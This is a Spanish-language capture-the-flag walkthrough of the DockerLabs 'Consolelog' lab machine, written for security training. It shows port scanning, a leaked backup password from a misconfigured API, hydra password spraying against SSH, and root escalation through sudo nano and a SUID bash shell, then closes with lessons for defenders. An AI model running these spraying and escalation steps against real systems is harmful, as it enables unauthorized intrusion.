the_open_door
café
ESEN

Consolelog

DockerLabsFácilLinux172.17.0.2

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#dockerlabs#api#info-disclosure#password-spraying#hydra#brute-force#sudo#gtfobins#nano#suid
TL;DR. Consolelog filtra una contraseña por una API mal configurada: un endpoint que, ante el token correcto, responde con lapassworddebackupmaschingonadetodas. Sin usuario asociado, se hace password spraying con esa única contraseña contra el SSH (en el puerto 5000) hasta dar con lovely. Sus privilegios sudo sobre nano (GTFOBins) permiten poner el bit SUID a /bin/bash y escalar a root con bash -p.

Reconocimiento

Escaneo inicial

El escaneo de puertos descubre un servidor web y, más adelante, una API y un SSH en puertos no estándar.

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open <ip>
nmap -sCV <ip> -oN targeted
whatweb http://<ip>

Fuzzing de directorios

dirsearch sobre la raíz y luego sobre /backend descubre la lógica de una API:

dirsearch -u http://<ip>
dirsearch -u http://<ip>/backend

Acceso: fuga de credenciales por la API

El endpoint y su token

El /backend revela una API que escucha en el puerto 3000 y solo acepta peticiones POST con un token. Enviando el token correcto, el servidor devuelve una contraseña de backup:

curl -X POST "http://<ip>:3000/recurso" --data "{'token':'tokentraviesito'}"
lapassworddebackupmaschingonadetodas

Password spraying contra SSH

Tenemos una contraseña pero ningún usuario. En lugar de brutear contraseñas, se hace lo contrario: password spraying, es decir, fijar esa única contraseña y probarla contra una lista amplia de usuarios en el SSH, que corre en el puerto 5000:

hydra -L xato-net-10-million-usernames.txt -p lapassworddebackupmaschingonadetodas ssh://<ip>:5000 -t 64
[5000][ssh] host: <ip>   login: lovely   password: lapassworddebackupmaschingonadetodas

El usuario lovely reutiliza la contraseña de backup (reutilización de credenciales: toda contraseña encontrada se prueba en cada cuenta y servicio, porque reutilizarlas entre sistemas es lo habitual). Se entra por SSH:

ssh lovely@<ip> -p 5000

Escalada de privilegios

Privilegios sudo de lovely

lovely puede ejecutar nano como root sin contraseña:

sudo -l
User lovely may run the following commands:
    (root) NOPASSWD: /usr/bin/nano

nano es un editor con ejecución de comandos incorporada, así que GTFOBins lo convierte en shell root. Corriendo sudo nano y pulsando CTRL+T (abrir con comando externo) se ejecuta como root:

sudo nano
# En nano: CTRL+T  ->
reset; sh 1>&0 2>&0

En esta caja se usa la vía equivalente de poner el bit SUID a bash desde ese mismo prompt:

chmod u+s /bin/bash

bash -p

Con /bin/bash SUID, bash -p conserva el EUID de root:

ls -l /bin/bash
bash -p
# id
uid=1000(lovely) gid=1000(lovely) euid=0(root) groups=...

Cadena de ataque

HTTP  ->  /backend  ->  API (puerto 3000, POST + token)
    └─> filtra la contraseña de backup
            └─> password spraying (SSH puerto 5000)  ->  lovely
                    └─> sudo nano (CTRL+T)  ->  chmod u+s /bin/bash
                            └─> bash -p  ->  root

Lecciones aprendidas

  • Una API que devuelve secretos es una fuga de credenciales. Responder con una contraseña de backup ante un token conocido equivale a publicarla; los secretos no deben viajar en respuestas de la API.
  • Con contraseña pero sin usuario, spraying, no fuerza bruta. Fijar la contraseña con -p y variar el usuario (-L) es lo eficiente cuando lo que se conoce es la clave, no la cuenta.
  • Puertos no estándar no son seguridad. Mover SSH al 5000 y la API al 3000 no oculta nada frente a un escaneo completo de puertos.
  • sudo nano es sudo bash. Cualquier editor con shell embebida (nano, vi, less) concedido por sudo es una escalada directa; conviene evitar darlos en sudoers.
Cheatsheet de comandos 8 comandos

Repaso rápido